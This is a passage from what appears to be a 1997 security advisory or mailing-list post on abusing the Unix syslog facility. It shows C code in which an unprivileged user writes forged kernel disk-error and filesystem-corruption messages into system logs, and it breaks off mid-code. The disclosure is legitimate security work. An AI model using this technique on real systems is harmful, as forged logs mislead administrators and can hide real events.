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1997 Feb 18
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Abuse of the syslog facility
Any unpriveledged user can abuse the syslog facility in an interesting way. The following example is a good one that can put misleading information in the logs. ------------------------------- #include <syslog.h> void main(void){ const char *mesg1 = "hda: read_intr: status=0x59 { SeekComplete DataRequest Error } { UncorrectableError }, CHS=157/2/9, sector=2826\0"; const char *mesg2 ="end_request: I/O error, dev 03:00, sector 2826\0"; const char *mesg3 = "EXT2-fs: group descriptors corrupted !\0"; openlog(&qu...